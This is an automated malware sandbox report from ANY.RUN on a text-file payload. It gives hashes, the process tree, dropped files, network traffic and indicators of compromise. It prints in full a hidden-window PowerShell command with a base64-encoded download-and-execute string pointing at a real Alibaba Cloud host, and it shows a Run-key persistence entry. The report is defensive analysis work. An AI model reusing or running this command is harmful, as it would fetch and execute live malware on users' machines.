download:

/gohCodbi.txt

Full analysis: https://app.any.run/tasks/91a82205-4b68-4bb5-b9a9-277b14b056e7
Verdict: Malicious activity
Analysis date: November 25, 2024, 07:46:24
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
arch-exec
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (65265), with CRLF line terminators
MD5:

8A8E655C360533B49DF7D9115CE11310

SHA1:

ABD3793E80FBFEBCDB7E77BFCEE337704D64B52E

SHA256:

626617D95637E12017EB5CB660F388FBC88A0FA73065CC0CCE67833A59494FD8

SSDEEP:

49152:qmm1eKrNkQOMgjqipmVqNuYcZ4pqvH4xyqYy+QeJzpwOxg:T

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6332)
    • Modifies registry (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Executing a file with an untrusted certificate

      • MyPhoneExplorer2.exe (PID: 7016)
  • SUSPICIOUS

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 6332)
  • INFO

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Disables trace logs

      • powershell.exe (PID: 6332)
    • Checks proxy server information

      • powershell.exe (PID: 6332)
    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6332)
    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6332)
    • The executable file from the user directory is run by the Powershell process

      • MyPhoneExplorer2.exe (PID: 7016)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
125
Monitored processes
3
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start powershell.exe conhost.exe no specs myphoneexplorer2.exe

Process information

PID
CMD
Path
Indicators
Parent process
6332"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbnV0b25ob3N0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vZ29oQ29kYmkudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6340\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7016"C:\Users\admin\AppData\Roaming\ZofvLLLT\MyPhoneExplorer2.exe" C:\Users\admin\AppData\Roaming\ZofvLLLT\MyPhoneExplorer2.exe
powershell.exe
User:
admin
Company:
F.J. Wechselberger
Integrity Level:
MEDIUM
Description:
MyPhoneExplorer
Exit code:
0
Version:
2.02
Modules
Images
c:\users\admin\appdata\roaming\zofvlllt\myphoneexplorer2.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvbvm60.dll
c:\windows\syswow64\user32.dll
Total events
2 569
Read events
2 568
Write events
1
Delete events
0

Modification events

(PID) Process:(6332) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:NetUtilityApp
Value:
C:\Users\admin\AppData\Roaming\ZofvLLLT\MyPhoneExplorer2.exe
Executable files
1
Suspicious files
5
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
6332powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LE696ZJ79THNQKBSK7OW.tempbinary
MD5:73A5DFD82A5245FE1C6273B99AA263F2
SHA256:5E92B1D62CABB0F565ED5ACFB30F30CE2BDE9379BD4025218025539B2461E4D9
6332powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:3B3199D9C8C8E2942AF389FF4413837F
SHA256:6CA907DFBEB0EC87D42B2FE47C217E465DCDB7650C23AA2C98AB18EB66790E0D
6332powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_krkfb4tp.jtr.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6332powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:73A5DFD82A5245FE1C6273B99AA263F2
SHA256:5E92B1D62CABB0F565ED5ACFB30F30CE2BDE9379BD4025218025539B2461E4D9
6332powershell.exeC:\Users\admin\AppData\Roaming\ZofvLLLT\MyPhoneExplorer2.exeexecutable
MD5:834465C5CCA576D30571881DCFA13AB2
SHA256:70DC2A372DB80A9767F2050F58D50396ABEE95169A91FF692740FE49082C8127
6332powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mt2iabsm.0h1.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6332powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF13576a.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6332powershell.exeC:\Users\admin\AppData\Roaming\kDVzvDdf.zipcompressed
MD5:F76B85A5336E14DBE566DB3738A633B6
SHA256:743D33D7761238BBFA57F2AE36B5E6F2D9DBF0C21E185EA34F82F736CC7109C6
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
40
DNS requests
18
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.216.77.28:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
23.216.77.28:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
whitelisted
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
6224
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
whitelisted
6148
SIHClient.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
6148
SIHClient.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
whitelisted
4712
MoUsoCoreWorker.exe
23.216.77.28:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
23.216.77.28:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
2.19.217.218:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
2.19.217.218:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
23.212.110.208:443
www.bing.com
Akamai International B.V.
CZ
whitelisted
4
System
192.168.100.255:138
whitelisted
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
40.126.32.72:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 23.216.77.28
  • 23.216.77.6
whitelisted
www.microsoft.com
  • 2.19.217.218
whitelisted
google.com
  • 216.58.206.78
whitelisted
www.bing.com
  • 23.212.110.208
  • 23.212.110.219
  • 23.212.110.209
  • 23.212.110.138
  • 23.212.110.210
  • 23.212.110.217
  • 23.212.110.137
  • 23.212.110.139
  • 23.212.110.136
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.32.72
  • 40.126.32.74
  • 40.126.32.68
  • 20.190.160.17
  • 40.126.32.136
  • 40.126.32.76
  • 40.126.32.133
  • 20.190.160.20
whitelisted
go.microsoft.com
  • 23.213.166.81
whitelisted
nutonhost.oss-ap-southeast-3.aliyuncs.com
  • 47.254.218.3
unknown
spectacu-lar.cyou
  • 172.67.170.50
  • 104.21.28.25
unknown

Threats

PID
Process
Class
Message
2192
svchost.exe
Misc activity
ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com)
6332
powershell.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
No debug info